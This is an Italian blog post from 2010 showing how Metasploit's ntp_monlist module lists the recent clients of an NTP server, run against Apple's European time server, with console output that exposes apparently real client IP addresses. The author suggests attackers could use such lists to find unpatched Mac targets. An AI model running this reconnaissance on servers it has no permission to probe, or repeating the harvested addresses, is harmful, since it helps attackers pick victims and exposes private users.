Enumerazione clients via NTP
Scritto da Nemesis   
Venerdì 09 Aprile 2010 00:38

Durante alcuni recenti test, ho scoperto una cosa interessante.
Un server NTP, ovvero Network Time Protocol, può fornire molte interessanti informazioni a proposito degli utenti che si trovano a utilizzare tale servizio.

 

Il Metasploit Framework è un avanzatissimo software open source, realizzato per condurre penetration testing e sviluppo di exploits.
H.D. Moore, fondatore e principale sviluppatore del progetto, ha inserito un nuovo modulo ausiliario, che mostra proprio la possibilità di ottenere da un server NTP, la lista di tutti i client che hanno più recentemente interrogato il server per conoscere l'ora esatta.

 

Questo fornisce poche informazioni nella maggioranza dei casi, ma se consideriamo casi specifici, ad esempio il NTP server europeo di Apple (time.euro.apple.com), quello che otterremo è probabilmente una lista di soli client Mac OS powered.
Ciò potrebbe essere sfruttato da un eventuale attacker nel momento in cui una nuova vulnerabilità per Mac OS fosse individuata e una patch non fosse ancora stata rilasciata, per individuare una ampia lista di possibili targets (o almeno questo è quello che io farei).


Di seguito è riportato l'esempio (e un breve video dimostrativo del mio test):


msf auxiliary(1mntp_monlist) > set RHOSTS time.euro.apple.com
RHOSTS => time.euro.apple.com
msf auxiliary(1mntp_monlist) > run
[*] Sending probes to 17.72.255.12->17.72.255.12 (1 hosts)
[*] 17.72.255.12:123 187.66.83.92:1107 (17.72.255.12)
[*] 17.72.255.12:123 188.192.151.225:57885 (17.72.255.12)
[*] 17.72.255.12:123 209.251.196.62:10927 (17.72.255.12)
[*] 17.72.255.12:123 83.233.207.135:123 (17.72.255.12)
[*] 17.72.255.12:123 94.214.3.233:32897 (17.72.255.12)
[*] 17.72.255.12:123 90.195.217.206:123 (17.72.255.12)
[*] 17.72.255.12:123 93.104.84.184:4465 (17.72.255.12)
[*] 17.72.255.12:123 78.109.180.14:478 (17.72.255.12)
[*] 17.72.255.12:123 87.60.165.81:123 (17.72.255.12)
[*] 17.72.255.12:123 82.136.115.144:34200 (17.72.255.12)
msf auxiliary(ntp_monlist) > set RHOSTS time.euro.apple.com
RHOSTS => time.euro.apple.com
msf auxiliary(ntp_monlist) > run
[*] Sending probes to 17.72.255.12->17.72.255.12 (1 hosts)
[*] 17.72.255.12:123 187.66.83.92:1107 (17.72.255.12)
[*] 17.72.255.12:123 188.192.151.225:57885 (17.72.255.12)
[*] 17.72.255.12:123 209.251.196.62:10927 (17.72.255.12)
[*] 17.72.255.12:123 83.233.207.135:123 (17.72.255.12)
[*] 17.72.255.12:123 94.214.3.233:32897 (17.72.255.12)
[*] 17.72.255.12:123 90.195.217.206:123 (17.72.255.12)
[*] 17.72.255.12:123 93.104.84.184:4465 (17.72.255.12)
[*] 17.72.255.12:123 78.109.180.14:478 (17.72.255.12)
[*] 17.72.255.12:123 87.60.165.81:123 (17.72.255.12)
[*] 17.72.255.12:123 82.136.115.144:34200 (17.72.255.12)
---- cut ----
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

 

 

Ultimo aggiornamento Venerdì 09 Aprile 2010 01:13